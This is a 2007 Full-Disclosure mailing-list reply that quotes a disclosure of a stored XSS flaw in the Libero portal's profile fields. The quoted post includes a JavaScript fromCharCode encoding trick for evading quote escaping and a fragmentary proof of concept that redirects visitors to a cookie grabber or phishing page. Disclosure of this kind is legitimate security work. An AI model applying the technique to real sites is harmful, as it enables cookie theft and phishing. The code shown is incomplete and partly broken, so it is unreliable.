Re: [Full-disclosure] Another XSS vulnerability in Italian provider

They probably need to redo their entire site's scripts, I wouldn't doubt
there's a few more exploits in there somewhere. -- 2+ exploits within one
site in one month is pretty sad.

On Wednesday 28 March 2007 12:17, LK wrote:
After the report of Rosario Valotta on this ML, another XSS vulnerability
has been found on, one of the most important italian ISP

Nothing more than a trivial error but, since staff used the
printed media to inform that Rosario's find was just a "spot" issue, it is
important to demonstrate that this kind of errors are quite more
widespread and to let the Libero staff and management realize that a
potential attack must be avoid by a deep check of the portal.

The vulnerability once again can be found in the "Community" section
of Libero portal, and the affected functionality is the profile
creation and retrieval


The implementation of this functionality allows the injection of
malicious code in the profile, so that an attacker by visiting his/her
profile can:

1) steal username (in cookie)
2) steal cookies
3) arbitrary redirection for Phishing purpose

The normal URL would be something linked like this:

where "Nick" is the name of the nick whose profile has been
manipulated or crafted to add arbitrary code.

This vulnerability closely resemble to those in MySpace and other
So it's nothing really complicated and you can skip on from here on ;)

In admin pages (need to be logged by creating a fake account) on page

there are two different fields named "I miei difetti:" (my defects)
and "i miei pregi:" (my strong points) that accept arbitrary content.

As stated by Rosario, the web application performs a simple
parsing of the posted content, so that quote and double-quote (' and ")
chars are escaped by putting a \ before of them (both using ASCII and URL

While I already had the Rosario's beautiful implementation of a simple
evasion technique I preferred to encode the single char in an old
snippet of mine.
The aim of the snippet (I don't remember if I made it, stole it, stole
only the main idea or where, sorry) is to transform a string into a
series of char numbers to be used with a String.fromCharCode command.
Due to the limitation in size, the function which create the
String.fromCharCode sequence is a detached and ascii value is
decreased of 100 to limit the number of digits.
This is the creation snippet:

var toBenc = "hettp://";
var result = "";

for (var k = 0; k < carlo.length; k++)
result += ("e(" + (toBenc .charCodeAt(k) - 100) + ")+");

document.write(result + "<br>")

So URL ""; is rendered as:


Using the two boxes we can use the following code for a POC:

[BOX 1]
function e(A) {
return String.fromCharCode(A + 100)

[BOX 2]
var k =
k +=
window.location = k;

The posting url can be easily modified to an http grabber such as:


or (much more dangerous) to a phishing site.

Session Riding and derived problems have not been tested but many italian
security experts are working on it.

A POC url is available (until not deleted) here:


Just my 2 cents and thanks to:

<Rosario Valotta> for the first report, upon which this is based
<SharDick> for help in JS ;)
<Vokda && Zen> for consultancy and typo-killing ;)



Permanent Url: <>

Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia -